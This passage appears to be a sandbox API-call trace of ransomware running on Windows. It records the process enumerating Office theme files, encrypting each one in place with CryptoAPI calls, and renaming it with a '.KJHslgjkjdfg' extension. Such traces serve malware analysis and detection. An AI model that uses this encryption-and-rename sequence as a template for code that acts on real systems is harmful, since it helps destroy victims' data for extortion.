hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0173.068] GetProcessHeap () returned 0x990000 [0173.068] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0173.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.069] GetProcessHeap () returned 0x990000 [0173.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.069] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.069] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0173.071] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.072] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.072] GetProcessHeap () returned 0x990000 [0173.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0173.072] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0173.072] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.072] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0173.072] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.072] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.072] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.072] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.072] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.072] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.072] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.073] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe743, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe743, lpOverlapped=0x0) returned 1 [0173.074] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe750, dwBufLen=0xe750 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe750) returned 1 [0173.075] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.075] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe750, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe750, lpOverlapped=0x0) returned 1 [0173.075] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.075] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.075] SetEndOfFile (hFile=0x12c) returned 1 [0173.079] GetProcessHeap () returned 0x990000 [0173.079] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0173.079] GetProcessHeap () returned 0x990000 [0173.079] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.kjhslgjkjdfg")) returned 1 [0173.080] CloseHandle (hObject=0x12c) returned 1 [0173.080] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0173.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.081] GetProcessHeap () returned 0x990000 [0173.081] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.081] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.081] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.082] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0173.083] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.083] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.083] GetProcessHeap () returned 0x990000 [0173.084] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0173.084] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0173.084] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.084] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0173.084] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.084] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.084] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.084] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.084] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.084] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.084] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.085] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.085] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x215, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x215, lpOverlapped=0x0) returned 1 [0173.085] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220, dwBufLen=0x220 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220) returned 1 [0173.085] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.085] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x220, lpOverlapped=0x0) returned 1 [0173.085] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.085] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.085] SetEndOfFile (hFile=0x12c) returned 1 [0173.088] GetProcessHeap () returned 0x990000 [0173.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0173.088] GetProcessHeap () returned 0x990000 [0173.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.kjhslgjkjdfg")) returned 1 [0173.093] CloseHandle (hObject=0x12c) returned 1 [0173.093] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.093] GetProcessHeap () returned 0x990000 [0173.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.094] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.094] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.094] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0173.096] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.096] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.097] GetProcessHeap () returned 0x990000 [0173.097] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.097] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.097] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.097] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.097] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.097] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.097] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.097] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.097] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.097] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.097] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.097] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.097] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x67b, lpOverlapped=0x0) returned 1 [0173.098] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x680, dwBufLen=0x680 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x680) returned 1 [0173.098] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.098] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x680, lpOverlapped=0x0) returned 1 [0173.098] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.098] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.098] SetEndOfFile (hFile=0x12c) returned 1 [0173.101] GetProcessHeap () returned 0x990000 [0173.101] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.101] GetProcessHeap () returned 0x990000 [0173.101] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.102] CloseHandle (hObject=0x12c) returned 1 [0173.105] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.106] GetProcessHeap () returned 0x990000 [0173.106] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.106] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.106] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.106] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0173.109] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.109] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.109] GetProcessHeap () returned 0x990000 [0173.109] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.109] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.109] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.109] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.109] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.109] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.109] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.123] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.123] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.123] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.124] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.124] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.124] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaf32, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xaf32, lpOverlapped=0x0) returned 1 [0173.125] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xaf40, dwBufLen=0xaf40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xaf40) returned 1 [0173.126] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.126] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xaf40, lpOverlapped=0x0) returned 1 [0173.126] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.126] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.126] SetEndOfFile (hFile=0x12c) returned 1 [0173.129] GetProcessHeap () returned 0x990000 [0173.129] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.129] GetProcessHeap () returned 0x990000 [0173.129] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.130] CloseHandle (hObject=0x12c) returned 1 [0173.131] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.131] GetProcessHeap () returned 0x990000 [0173.131] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.131] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.131] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0173.131] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.131] GetProcessHeap () returned 0x990000 [0173.131] RtlAllocateHeap 